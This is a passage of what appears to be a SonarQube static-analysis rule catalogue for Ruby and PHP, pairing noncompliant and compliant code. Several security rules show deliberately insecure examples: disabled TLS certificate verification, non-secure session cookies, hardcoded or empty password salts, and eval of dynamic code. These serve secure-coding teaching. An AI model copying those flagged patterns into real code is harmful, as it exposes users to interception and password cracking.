  doTheThing()   # Noncompliant; duplicates first condition
else
  doTheRest()
end

Exceptions

Blocks in an if chain that contain a single line of code are ignored, as are blocks in a case statement that contain a single line of code.

if a ==
  doSomething()  # no issue, usually this is done on purpose to increase the readability
elsif a == 2
  doSomethingElse()
else
  doSomething()
end

But this exception does not apply to if chains without else-s, or to case-es without else clauses when all branches have the same single line of code. In case of if chains with else-s, or of case-es with else clauses, rule S3923 raises a bug.

if a == 1
  doSomething()  # Noncompliant, this might have been done on purpose but probably not
elsif a == 2
  doSomething()
end
ruby:S1134

FIXME tags are commonly used to mark places where a bug is suspected, but which the developer wants to deal with later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

def divide(numerator, denominator)
  return numerator / denominator             # FIXME denominator value might be 0
end

See

ruby:S1135

TODO tags are commonly used to mark places where some more code is required, but which the developer wants to implement later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

def do_something()
   # TODO
end

See

ruby:S3776

Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain.

See

ruby:S1313

Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities:

Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:

  • The developers will have to do a rapid fix every time this happens, instead of having an operation team change a configuration file.
  • It forces the same address to be used in every environment (dev, sys, qa, prod).

Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact.

Ask Yourself Whether

The disclosed IP address is sensitive, eg:

  • Can give information to an attacker about the network topology.
  • It's a personal (assigned to an identifiable person) IP address.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

Don't hard-code the IP address in the source code, instead make it configurable.

Sensitive Code Example

ip = "192.168.12.42"; // Sensitive

Compliant Solution

ip = IP_ADDRESS; // Compliant

Exceptions

No issue is reported for the following cases because they are not considered sensitive:

  • Loopback addresses 127.0.0.0/8 in CIDR notation (from 127.0.0.0 to 127.255.255.255)
  • Broadcast address 255.255.255.255
  • Non routable address 0.0.0.0
  • Strings of the form 2.5.<number>.<number> as they often match Object Identifiers (OID).

See

php:S2092

When a cookie is protected with the secure attribute set to true it will not be send by the browser over an unencrypted HTTP request and thus cannot be observed by an unauthorized person during a man-in-the-middle attack.

Ask Yourself Whether

  • the cookie is for instance a session-cookie not designed to be sent over non-HTTPS communication.
  • it's not sure that the website contains mixed content or not (ie HTTPS everywhere or not)

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • It is recommended to use HTTPs everywhere so setting the secure flag to true should be the default behaviour when creating cookies.
  • Set the secure flag to true for session-cookies.

Sensitive Code Example

In php.ini you can specify the flags for the session cookie which is security-sensitive:

session.cookie_secure = 0; // Sensitive: this security-sensitive session cookie is created with the secure flag set to false (cookie_secure = 0)

Same thing in PHP code:

session_set_cookie_params($lifetime, $path, $domain, false);
// Sensitive: this security-sensitive session cookie is created with the secure flag (the fourth argument) set to _false_

If you create a custom security-sensitive cookie in your PHP code:

$value = "sensitive data";
setcookie($name, $value, $expire, $path, $domain, false);  // Sensitive: a security-sensitive cookie is created with the secure flag  (the sixth argument) set to _false_

By default setcookie and setrawcookie functions set the sixth argument / secure flag to false:

$value = "sensitive data";
setcookie($name, $value, $expire, $path, $domain);  // Sensitive: a security-sensitive cookie is created with the secure flag (the sixth argument) not defined (by default to false)
setrawcookie($name, $value, $expire, $path, $domain);  // Sensitive: a security-sensitive cookie is created with the secure flag (the sixth argument) not defined (by default to false)

Compliant Solution

session.cookie_secure = 1; // Compliant: the sensitive cookie will not be send during an unencrypted HTTP request thanks to cookie_secure property set to 1
session_set_cookie_params($lifetime, $path, $domain, true); // Compliant: the sensitive cookie will not be send during an unencrypted HTTP request thanks to the secure flag (the fouth argument) set to true
$value = "sensitive data";
setcookie($name, $value, $expire, $path, $domain, true); // Compliant: the sensitive cookie will not be send during an unencrypted HTTP request thanks to the secure flag (the sixth  argument) set to true
setrawcookie($name, $value, $expire, $path, $domain, true);// Compliant: the sensitive cookie will not be send during an unencrypted HTTP request thanks to the secure flag (the sixth argument) set to true

See

php:S4834

The access control of an application must be properly implemented in order to restrict access to resources to authorized entities otherwise this could lead to vulnerabilities:

Granting correct permissions to users, applications, groups or roles and defining required permissions that allow access to a resource is sensitive, must therefore be done with care. For instance, it is obvious that only users with administrator privilege should be authorized to add/remove the administrator permission of another user.

Ask Yourself Whether

  • Granted permission to an entity (user, application) allow access to information or functionalities not needed by this entity.
  • Privileges are easily acquired (eg: based on the location of the user, type of device used, defined by third parties, does not require approval ...).
  • Inherited permission, default permission, no privileges (eg: anonymous user) is authorized to access to a protected resource.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

At minimum, an access control system should:

  • Use a well-defined access control model like RBAC or ACL.
  • Entities' permissions should be reviewed regularly to remove permissions that are no longer needed.
  • Respect the principle of least privilege ("_an entity has access only the information and resources that are necessary for its legitimate purpose_").

Sensitive Code Example

CakePHP

use Cake\Auth\BaseAuthorize;
use Cake\Controller\Controller;

abstract class MyAuthorize extends BaseAuthorize { // Sensitive. Method extending Cake\Auth\BaseAuthorize.
    // ...
}

// Note that "isAuthorized" methods will only be detected in direct subclasses of Cake\Controller\Controller.
abstract class MyController extends Controller {
    public function isAuthorized($user) { // Sensitive. Method called isAuthorized in a Cake\Controller\Controller.
        return false;
    }
}

See

php:S1448

A class that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor the class into smaller ones which focus on well defined topics.

php:S3626

Jump statements, such as return, goto, and continue let you change the default flow of program execution, but jump statements that direct the control flow to the original direction are just a waste of keystrokes.

Noncompliant Code Example

function foo($p) {
  $i = $p;
  while ($i > 0) {
    $i--;
    continue; // Noncompliant
  }
}

Compliant Solution

function foo($p) {
  $i = $p;
  while ($i > 0) {
    $i--;
  }
}
php:S3981

The count of elements from an array or Countable object is always greater than or equal to zero. So testing that the count is greater than or equal to zero doesn't make sense, since the result is always true. Similarly testing that it is less than zero will always return false. Perhaps the intent was to check the non-emptiness of the object or array instead.

Noncompliant Code Example

if (count($arr) >= 0) { ... }

if (count($arr) < 0) { ... }

$result = count($arr) >= 0;

if (0 > count($arr)) { ... }

Compliant Solution

if (count($arr) != 0) { ... }

if (count($arr) > 0) { ... }
php:S1200

According to the Single Responsibility Principle, introduced by Robert C. Martin in his book "Principles of Object Oriented Design", a class should have only one responsibility:

If a class has more than one responsibility, then the responsibilities become coupled.

Changes to one responsibility may impair or inhibit the class' ability to meet the others.

This kind of coupling leads to fragile designs that break in unexpected ways when changed.

Classes which rely on many other classes tend to aggregate too many responsibilities and should be split into several smaller ones.

Nested classes dependencies are not counted as dependencies of the outer class.

Noncompliant Code Example

  class Foo {            // Noncompliant - Foo depends on too many classes: T1, T2, T3, T4, T5, T6 and T7
    /**
     * @var T1
     */
    public $a1;          // Foo is coupled to T1
    /**
     * @var T2
     */
    protected $a2;       // Foo is coupled to T2
    /**
     * @var T3
     */
    private $a3;         // Foo is coupled to T3

    /**
     * @param T5
     * @param T6
     *
     * @return T4
     */
    public function compute(T5 $a, $b) { // Foo is coupled to T4, T5 and T6
      $result = new T7();     // Foo is coupled to T7
      return $result;
  }
}
php:S3984

Creating a new Exception without actually throwing it is useless and is probably due to a mistake.

Noncompliant Code Example

if ($x < 0)
  new Exception('$x must be nonnegative');

Compliant Solution

if ($x < 0)
  throw new Exception('$x must be nonnegative');
php:S4833

PHP 5.3 introduces namespaces to the language. Use of this mechanism should be preferred to include or include_once or require or require_once because it solves two common problems:

  • it avoids name collisions
  • it provides the ability to create alias which improve readability of the code

Starting from its version 8, Drupal is relying on namespaces to be compliant with PSR-4 standard. Drupal's modules should be compliant with PSR-4 standard and therefore should no longer rely on include or include_once or require or require_once functions.

Noncompliant Code Example

require_once('./modules/vegetable/src/Entity/Tomato.php');

Compliant Solution

use Drupal\vegetable\Entity\Tomato

Exceptions

This rule doesn't raise issues on autoload.php or ScriptHandler.php files.

php:S4830

Validation of X.509 certificates is essential to create secure SSL/TLS sessions not vulnerable to man-in-the-middle attacks.

The certificate chain validation includes these steps:

  • The certificate is issued by its parent Certificate Authority or the root CA trusted by the system.
  • Each CA is allowed to issue certificates.
  • Each certificate in the chain is not expired.

It's not recommended to reinvent the wheel by implementing custom certificate chain validation.

TLS libraries provide built-in certificate validation functions that should be used.

Noncompliant Code Example

curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); // Noncompliant
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);  // Noncompliant

Compliant Solution

curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, TRUE); // Compliant; default value is TRUE
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 1);  // Compliant

See

php:S4142

There are valid cases for passing a variable multiple times into the same method call, but usually doing so is a mistake, and something else was intended for one of the arguments.

Noncompliant Code Example

if (compare($a+$x, $a+$x) != 0) { // Noncompliant
  //...
}

if (compare(getValue($a), getValue($a)) != 0) { // Noncompliant
  // ...
}

Compliant Solution

if (compare($a+$y, $a+$x) != 0) {
  //...
}

$v1 = getValue($a);
$v2 = getValue($a);
if (compare($v1, $v2) != 0) {
  // ...
}

Deprecated

This rule is deprecated, and will eventually be removed.

php:S4143

It is highly suspicious when a value is saved for a key or index and then unconditionally overwritten. Such replacements are likely errors.

Noncompliant Code Example

$someArray[1] = "someValue";
$someArray[1] = "someOtherValue"; // The intention here was probably to write to another array key.
php:S1314

Integer literals starting with a zero are octal rather than decimal values. While using octal values is fully supported, most developers do not have experience with them. They may not recognize octal values as such, mistaking them instead for decimal values.

Noncompliant Code Example

$myNumber = 023; # Noncompliant myNumber will hold 19, not 23 - was this really expected?

Compliant Solution

$myNumber = 19;

Exceptions

This rule does not apply to values smaller than 8 and octal values having 3 digits, since 3 digits octal values are often used as file permission masks.

Example:

$permissionMask = 0777;
$dayOfMonth = 03;

See

php:S5915

In PHPUnit, to test that an exception is thrown in a given piece of code, the expectException*() methods or the @expectedException* annotations can be used. For such a test to succeed, something in the test method has to throw an exception with the awaited properties. Having an assertion at the end of such a test method, means that, if the test succeeds, that assertion was never evaluated because an exception was thrown before getting to that point.

Noncompliant Code Example

public function testA() {
    $o = new MyClass();
    $this->expectException(\Exception::class);
    $o->doSomething();
    $this->assertTrue($o->hasProperty()); // Noncompliant - This assertion might never get evaluated
}

Compliant Solution

public function testA() {
    $o = new MyClass();
    $this->expectException(\Exception::class);
    $o->doSomething();
}

public function testB() {
    $o = new MyClass();
    $this->assertTrue($o->hasProperty());
}
php:S1799

The exit(...) and die(...) statements should absolutely not be used in Web PHP pages as this might lead to a very bad user experience. In such case, the end user might have the feeling that the web site is down or has encountered a fatal error.

But of course PHP can also be used to develop command line application and in such case use of exit(...) or die(...) statement can be justified but must remain limited and not spread all over the application. We expect exceptions to be used to handle errors and those exceptions should be caught just before leaving the application to specify the exit code with help of exit(...) or die(...) statements.

Noncompliant Code Example

class Foo {
    public function bar($param)  {
        if ($param === 42) {
            exit(23);
        }
    }
}

Compliant Solution

class Foo {
    public function bar($param)  {
        if ($param === 42) {
            throw new Exception('Value 42 is not expected.');
        }
    }
}
php:S4823

Using command line arguments is security-sensitive. It has led in the past to the following vulnerabilities:

Command line arguments can be dangerous just like any other user input. They should never be used without being first validated and sanitized.

Remember also that any user can retrieve the list of processes running on a system, which makes the arguments provided to them visible. Thus passing sensitive information via command line arguments should be considered as insecure.

This rule raises an issue when on every program entry points (main methods) when command line arguments are used. The goal is to guide security code reviews.

Ask Yourself Whether

  • any of the command line arguments are used without being sanitized first.
  • your application accepts sensitive information via command line arguments.

If you answered yes to any of these questions you are at risk.

Recommended Secure Coding Practices

Sanitize all command line arguments before using them.

Any user or application can list running processes and see the command line arguments they were started with. There are safer ways of providing sensitive information to an application than exposing them in the command line. It is common to write them on the process' standard input, or give the path to a file containing the information.

Sensitive Code Example

Builtin access to $argv

function globfunc() {
    global $argv; // Sensitive. Reference to global $argv
    foreach ($argv as $arg) { // Sensitive.
        // ...
    }
}

function myfunc($argv) {
    $param = $argv[0]; // OK. Reference to local $argv parameter
    // ...
}

foreach ($argv as $arg) { // Sensitive. Reference to $argv.
    // ...
}

$myargv = $_SERVER['argv']; // Sensitive. Equivalent to $argv.

function serve() {
    $myargv = $_SERVER['argv']; // Sensitive.
    // ...
}

myfunc($argv); // Sensitive

$myvar = $HTTP_SERVER_VARS[0]; // Sensitive. Note: HTTP_SERVER_VARS has ben removed since PHP 5.4.

$options = getopt('a:b:'); // Sensitive. Parsing arguments.

$GLOBALS["argv"]; // Sensitive. Equivalent to $argv.

function myglobals() {
    $GLOBALS["argv"]; // Sensitive
}

$argv = [1,2,3]; // Sensitive. It is a bad idea to override argv.

Zend Console

new Zend\Console\Getopt(['myopt|m' => 'this is an option']); // Sensitive

Getopt-php library

new \GetOpt\Option('m', 'myoption', \GetOpt\GetOpt::REQUIRED_ARGUMENT); // Sensitive

See

Deprecated

This rule is deprecated, and will eventually be removed.

php:S4824

When a reference is used in a foreach loop instead of using a simple variable, the reference remains assigned and keeps its "value" which is a reference, even after the foreach execution. Most of the time, this is not what the developer is expecting and the reference may be used wrongly in the rest of the code. For this reason, it is recommended to always unset a reference that is used in a foreach to avoid any unexpected side effects.

Noncompliant Code Example

$arr = array(1, 2, 3);
foreach ($arr as &$value) { // Noncompliant; $value is still alive after the loop and references the last item of the array: $arr[2]
    $value = $value * 2;
}
$value = 'x';

Compliant Solution

$arr = array(1, 2, 3);
foreach ($arr as &$value) { // Compliant; there is no risk to use by mistake the content of $value pointing to $arr[2]
    $value = $value * 2;
}
unset($value);
$value = 'x';

See

php:S4829

Reading Standard Input is security-sensitive. It has led in the past to the following vulnerabilities:

It is common for attackers to craft inputs enabling them to exploit software vulnerabilities. Thus any data read from the standard input (stdin) can be dangerous and should be validated.

This rule flags code that reads from the standard input.

Ask Yourself Whether

  • data read from the standard input is not sanitized before being used.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Sanitize all data read from the standard input before using it.

Sensitive Code Example

// Any reference to STDIN is Sensitive
$varstdin = STDIN; // Sensitive
stream_get_line(STDIN, 40); // Sensitive
stream_copy_to_stream(STDIN, STDOUT); // Sensitive
// ...


// Except those references as they can't create an injection vulnerability.
ftruncate(STDIN, 5); // OK
ftell(STDIN); // OK
feof(STDIN); // OK
fseek(STDIN, 5); // OK
fclose(STDIN); // OK


// STDIN can also be referenced like this
$mystdin = 'php://stdin'; // Sensitive

file_get_contents('php://stdin'); // Sensitive
readfile('php://stdin'); // Sensitive

$input = fopen('php://stdin', 'r'); // Sensitive
fclose($input); // OK

See:

Deprecated

This rule is deprecated, and will eventually be removed.

php:S4828

Signalling processes is security-sensitive. It has led in the past to the following vulnerabilities:

* CVE-2009-0390

* CVE-2002-0839

* CVE-2008-1671

Sending signals without checking properly which process will receive it can cause a denial of service.

Ask Yourself Whether

* the PID of the process to which the signal will be sent is coming from an untrusted source. It could for example come from a world-writable file.

* users who are asking for the signal to be sent might not have the permission to send those signals.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

* If the signal is sent because of a user's request. Check that the user is allowed to send this signal. You can for example forbid it if the user doesn't own the process.

* Secure the source from which the process PID is read.

* Run the process sending the signals with minimal permissions.

Sensitive Code Example

posix_kill(42, 42); // Sensitive

See

* MITRE, CWE-283 - Unverified Ownership

php:S4144

When two methods have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other.

Noncompliant Code Example

class A {
    private const CODE = "bounteous";

    public function getCode() {
        doTheThing();
        return A::CODE;
    }

    public function getName() {  // Noncompliant
        doTheThing();
        return A::CODE;
    }
}

Compliant Solution

class A {
    private const CODE = "bounteous";

    public function getCode() {
        doTheThing();
        return A::CODE;
    }

    public function getName() {
        return $this->getCode();
    }
}

Exceptions

Methods that are not accessors (getters and setters), with fewer than 2 statements are ignored.

php:S2761

Calling the ! or ~ prefix operator twice does nothing: the second invocation undoes the first. Such mistakes are typically caused by accidentally double-tapping the key in question without noticing. Either this is a bug, if the operator was actually meant to be called once, or misleading if done on purpose.

Noncompliant Code Example

$a = 0;
$b = false;

$c = !!$a; // Noncompliant
$d = ~~$b; // Noncompliant

Compliant Solution

$a = 0;
$b = false;

$c = !$a; // Compliant
$d = ~$b; // Compliant
php:S1793

According to the PSR2 coding standard:

The keyword elseif SHOULD be used instead of else if so that all control keywords look like single words.

Noncompliant Code Example

if ($expr1) {
  ...
} else if ($expr2) {
  ...
} else {...}

Compliant Solution

if ($expr1) {
  ...
} elseif ($expr2) {
  ...
} else {...}
php:S3973

In the absence of enclosing curly braces, the line immediately after a conditional is the one that is conditionally executed. By both convention and good practice, such lines are indented. In the absence of both curly braces and indentation the intent of the original programmer is entirely unclear and perhaps not actually what is executed. Additionally, such code is highly likely to be confusing to maintainers.

Noncompliant Code Example

if ($x > 0)  // Noncompliant
doTheThing();
doTheOtherThing();

foo();

Compliant Solution

if ($x > 0) {
  doTheThing();
  doTheOtherThing();
}

foo();

or

if ($x > 0)
    doTheThing();
doTheOtherThing();

foo();
php:S1311

The cyclomatic complexity of a class should not exceed a defined threshold. Complex code can perform poorly and will in any case be difficult to understand and therefore to maintain.

Deprecated

This rule is deprecated, and will eventually be removed.

php:S3972

Code is clearest when each statement has its own line. Nonetheless, it is a common pattern to combine on the same line an if and its resulting then statement. However, when an if is placed on the same line as the closing } from a preceding else or elseif, it is either an error - else is missing - or the invitation to a future error as maintainers fail to understand that the two statements are unconnected.

Noncompliant Code Example

if ($condition1) {
  // ...
} if ($condition2) {  // Noncompliant
  //...
}

Compliant Solution

if ($condition1) {
  // ...
} elseif ($condition2) {
  //...
}

Or

if ($condition1) {
  // ...
}

if ($condition2) {
  //...
}
php:S5911

When specifying the class of objects in a catch clause it is important to make sure that the class exists.

Since no PHP error will be raised if the class does not exist, this can lead to difficult to debug problems as the catch clause will have no effect and the reason might not be obvious.

This mistake often occurs when being in a namespace and catching PHP built-in exception classes without escaping to the global namespace or importing the classes.

This rule raises an issue when, being in a namespace, an undefined class belonging to that namespace is caught.

Noncompliant Code Example

namespace Foo\Bar;

try {
    doSomething();
} catch (Exception $e) { // Noncompliant - Exception will never be caught because the class Exception does not exist in the namespace
    echo $e->message;
}

Compliant Solution

namespace Foo\Bar;

try {
    doSomething();
} catch (\Exception $e) { // Compliant used by global namespace
    echo $e->message;
}

// or

namespace Foo\Bar;

use Exception;

try {
    doSomething();
} catch (Exception $e) { // Compliant imported by use statement
    echo $e->message;
}
php:S1313

Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities:

Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:

  • The developers will have to do a rapid fix every time this happens, instead of having an operation team change a configuration file.
  • It forces the same address to be used in every environment (dev, sys, qa, prod).

Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact.

Ask Yourself Whether

The disclosed IP address is sensitive, eg:

  • Can give information to an attacker about the network topology.
  • It's a personal (assigned to an identifiable person) IP address.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

Don't hard-code the IP address in the source code, instead make it configurable.

Sensitive Code Example

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($socket, '8.8.8.8', 23);  // Sensitive

Compliant Solution

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($socket, IP_ADDRESS, 23);  // Compliant

Exceptions

No issue is reported for the following cases because they are not considered sensitive:

  • Loopback addresses 127.0.0.0/8 in CIDR notation (from 127.0.0.0 to 127.255.255.255)
  • Broadcast address 255.255.255.255
  • Non routable address 0.0.0.0
  • Strings of the form 2.5.<number>.<number> as they often match Object Identifiers (OID).

See

php:S1105

Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when an open curly brace is not placed at the end of a line of code.

Noncompliant Code Example

if(condition)
{
  doSomething();
}

Compliant Solution

if(condition) {
  doSomething();
}

Exceptions

When blocks are inlined (left and right curly braces on the same line), no issue is triggered.

if(condition) {doSomething();}
php:S1226

While it is technically correct to assign to parameters from within function bodies, doing so before the parameter value is read is likely a bug. Instead, initial values of parameters should be, if not treated as read-only, then at least read before reassignment.

Noncompliant Code Example

function foo($str, $array) {
  $str = "name; // Noncompliant

  foreach ($array as $item) {
    $item = "hello world";  // Noncompliant
  }
}
php:S1106

Shared coding conventions make it possible to collaborate efficiently. This rule makes it mandatory to place the open curly brace at the beginning of a line.

Noncompliant Code Example

function myMethod() {  // Noncompliant
  if(something) {  // Noncompliant
    executeTask();
  } else {  //Noncompliant
    doSomethingElse();
  }
}

Compliant Solution

function myMethod()
{
  if(something)
  {
    executeTask();
  } else
  {
    doSomethingElse();
  }
}
php:S1109

Shared coding conventions make it possible for a team to efficiently collaborate. This rule makes it mandatory to place a close curly brace at the beginning of a line.

Noncompliant Code Example

if(condition) {
  doSomething();}

Compliant Solution

if(condition) {
  doSomething();
}

Exceptions

When blocks are inlined (open and close curly braces on the same line), no issue is triggered.

if(condition) {doSomething();}
php:S5708

Instances of classes that do not derive from the "Throwable" interface cannot be used in a PHP "throw" statement. Thus, it does not make sense to try to catch such objects within a "try-catch" block.

Many built-in exceptions such as "Exception" and the SPL exception classes do implement the "Throwable" interface and can be extended when creating custom exceptions.

This rule raises an issue when the classes used to specify the type of objects to be caught in a "try-catch" block do not derive from "Throwable" .

Noncompliant Code Example

class NoThrowable {}

try {
    foo();
} catch (NoThrowable $e) { // Noncompliant
}

Compliant Solution

<?php

class SomeThrowable implements Throwable {
    // Implementation of the Throwable methods
}

try {
    foo();
} catch (SomeThrowable $e) { // Compliant
}

class SomeCustomException extends Exception {}

try {
    foo();
} catch (SomeCustomException $e) { // Compliant
}{code}
 
php:S1578

Shared coding conventions allow teams to collaborate effectively. For that reason, file names should conform to a defined standard. This rule raises an issue when the names of analyzed files don't match the provided regular expression.

See

php:S5935

PHPUnit provides helper functions and annotations to verify that a given block of code throws an exception and to assert different properties of that exception. The provided helper functions are:

- expectException()

- expectExceptionCode()

- expectExceptionMessage()

- expectExceptionMessageRegExp()

This check raises an issue when the throw of an exception is verified using a try-catch approach instead of relying on the provided helper functions.

Noncompliant Code Example

public function testA()
{
    try {
        doSomething();
        $this->fail("Assertion should have been thrown");
    } catch (MyException $e) {
        assertEquals("Exception message", $e->getMessage());
    }
}

Compliant Solution

public function testB()
{
    $this->expectException(MyException::class);
    $this->expectExceptionMessage("Exception message");

    doSomething();
}

See

thePHP.cc: Questioning PHPUnit Best Practice

php:S1451

Each source file should start with a header stating file ownership and the license which must be used to distribute the application.

This rule must be fed with the header text that is expected at the beginning of every file.

Compliant Solution

/*
 * SonarQube, open source software quality management tool.
 * Copyright (C) 2008-2013 SonarSource
 * mailto:contact AT sonarsource DOT com
 *
 * SonarQube is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or (at your option) any later version.
 *
 * SonarQube is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with this program; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */
php:S1697

When either the equality operator in a null test or the logical operator that follows it is reversed, the code has the appearance of safely null-testing the object before dereferencing it. Unfortunately the effect is just the opposite - the object is null-tested and then dereferenced only if it is null, leading to a guaranteed null pointer dereference.

Noncompliant Code Example

if ($obj == null && $obj->isOpen()) {
  echo "Object is open";
}

if ($obj != null || $obj->isOpen()) {
  echo "Object is not open";
}

Compliant Solution

if ($obj == null || $obj->isOpen()) {
  echo "Object is open";
}

if ($obj != null && !$obj->isOpen()) {
  echo "Object is not open";
}
php:S2050

Certain functions exist in PHP only as aliases of other functions. These aliases have been made available for backward compatibility, but should really be removed from code.

This rule looks for uses of the following aliases:

Alias Replacement
chop rtrim
close closedir
doubleval floatval
fputs fwrite
ini_alter ini_set
is_double is_float
is_integer is_int
is_long is_int
is_real is_float
is_writeable is_writable
join implode
key_exists array_key_exists
magic_quotes_runtime set_magic_quotes_runtime
pos current
show_source highlight_file
sizeof count
strchr strstr

Noncompliant Code Example

$arr=array("apple", "pear","banana");
echo sizeof($arr);  // Noncompliant

Compliant Solution

$arr=array("apple", "pear","banana");
echo count($arr);
php:S2053

In cryptography, "salt" is extra piece of data which is included in a hashing algorithm. It makes dictionary attacks more difficult. Using a cryptographic hash function without an unpredictable salt increases the likelihood that an attacker will be able to successfully guess a hashed value such as a password with a dictionary attack.

This rule raises an issue when a hashing function which has been specifically designed for hashing sensitive data, such as pbkdf2, is used with a non-random, reused or too short salt value. It does not raise an issue on base hashing algorithms such as sha1 or md5 as these are often used for other purposes.

Recommended Secure Coding Practices

  • use hashing functions generating their own salt or generate a long random salt of at least 32 bytes.
  • the salt is at least as long as the resulting hash value.
  • provide the salt to a safe hashing function such as PBKDF2.
  • save both the salt and the hashed value in the relevant database record; during future validation operations, the salt and hash can then be retrieved from the database. The hash is recalculated with the stored salt and the value being validated, and the result compared to the stored hash.

Noncompliant Code Example

function createMyAccount() {
  $email = $_GET['email'];
  $name = $_GET['name'];
  $password = $_GET['password'];

  $hash = hash_pbkdf2('sha256', $password, $email, 100000); // Noncompliant; salt (3rd argument) is predictable because initialized with the provided $email

  $hash = hash_pbkdf2('sha256', $password, '', 100000); // Noncompliant; salt is empty

  $hash = hash_pbkdf2('sha256', $password, 'D8VxSmTZt2E2YV454mkqAY5e', 100000); // Noncompliant; salt is hardcoded

  $hash = crypt($password); // Noncompliant; salt is not provided
  $hash = crypt($password, ""); // Noncompliant; salt is hardcoded

  $options = [
    'cost' => 11,
    'salt' => mcrypt_create_iv(22, MCRYPT_DEV_URANDOM), // Noncompliant ; use salt generated by default
  ];
  echo password_hash("rasmuslerdorf", PASSWORD_BCRYPT, $options);
}

Compliant Solution

$salt = openssl_random_pseudo_bytes(16);
$hash = hash_pbkdf2("sha256", $password, $salt, $iterations, 20);

See

php:S1523

Executing code dynamically is security-sensitive. It has led in the past to the following vulnerabilities:

Some APIs enable the execution of dynamic code by providing it as strings at runtime. These APIs might be useful in some very specific meta-programming use-cases. However most of the time their use is frowned upon as they also increase the risk of Injected Code. Such attacks can either run on the server or in the client (exemple: XSS attack) and have a huge impact on an application's security.

This rule marks for review each occurrence of the eval function. This rule does not detect code injections. It only highlights the use of APIs which should be used sparingly and very carefully. The goal is to guide security code reviews.

Ask Yourself Whether

  • the executed code may come from an untrusted source and hasn't been sanitized.
  • you really need to run code dynamically.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Regarding the execution of unknown code, the best solution is to not run code provided by an untrusted source. If you really need to do it, run the code in a sandboxed environment. Use jails, firewalls and whatever means your operating system and programming language provide (example: Security Managers in java, iframes and same-origin policy for javascript in a web browser).

Do not try to create a blacklist of dangerous code. It is impossible to cover all attacks that way.

Avoid using dynamic code APIs whenever possible. Hard-coded code is always safer.

Noncompliant Code Example

eval($code_to_be_dynamically_executed)

See

php:S1765

The PHP 4 method of declaring a variable, using the var keyword, was deprecated in early versions of PHP 5. Even though it's not considered deprecated in the most recent versions, it's nonetheless not best practice to use it. When var does appear, it is interpreted as a synonym for public and treated as such. Therefore public should be used instead.

From the PHP Manual:

The PHP 4 method of declaring a variable with the var keyword is still supported for compatibility reasons (as a synonym for the public keyword). In PHP 5 before 5.1.3, its usage would generate an E_STRICT warning.

Noncompliant Code Example

<?php
class Foo
{
    var $bar = 1;
}

Compliant Solution

<?php
class Foo
{
    public $bar = 1;
}
php:S1766

For better readability, do not put multiple property declarations in the same statement.

Noncompliant Code Example

<?php
class Foo
{
   private $bar = 1, $bar2 = 2;
}

Compliant Solution

<?php
class Foo
{
   private $bar1 = 1;
   private $bar2 = 2;
}
php:S2737

A catch clause that only rethrows the caught exception has the same effect as omitting the catch altogether and letting it bubble up automatically, but with more code and the additional detriment of leaving maintainers scratching their heads.

Such clauses should either be eliminated or populated with the appropriate logic.

Noncompliant Code Example

$s = "";
try {
  $s = readMyFile($fileName);
} catch (Exception $e)  {
  throw $e;  // Noncompliant
}

Compliant Solution

$s = "";
try {
  $s = readMyFile($fileName);
} catch (Exception $e) {
  error_log($e->getMessage());
  throw $e;  // Compliant
}

or

$s = "";
try {
  $s = readMyFile($fileName);
} catch (Exception $e) {
  error_log($e->getMessage());
  throw new MyException("an exception occurred", 2, $e);  // Compliant
}

or

$s = readMyFile($fileName);
php:S100

Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression.

Noncompliant Code Example

With default provided regular expression: ^[a-z][a-zA-Z0-9]*$:

function DoSomething(){...}

Compliant Solution

function doSomething(){...}

Exceptions

Methods with an @inheritdoc annotation, as well as magic methods (__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), __debugInfo()) are ignored.

function __construct(){...}
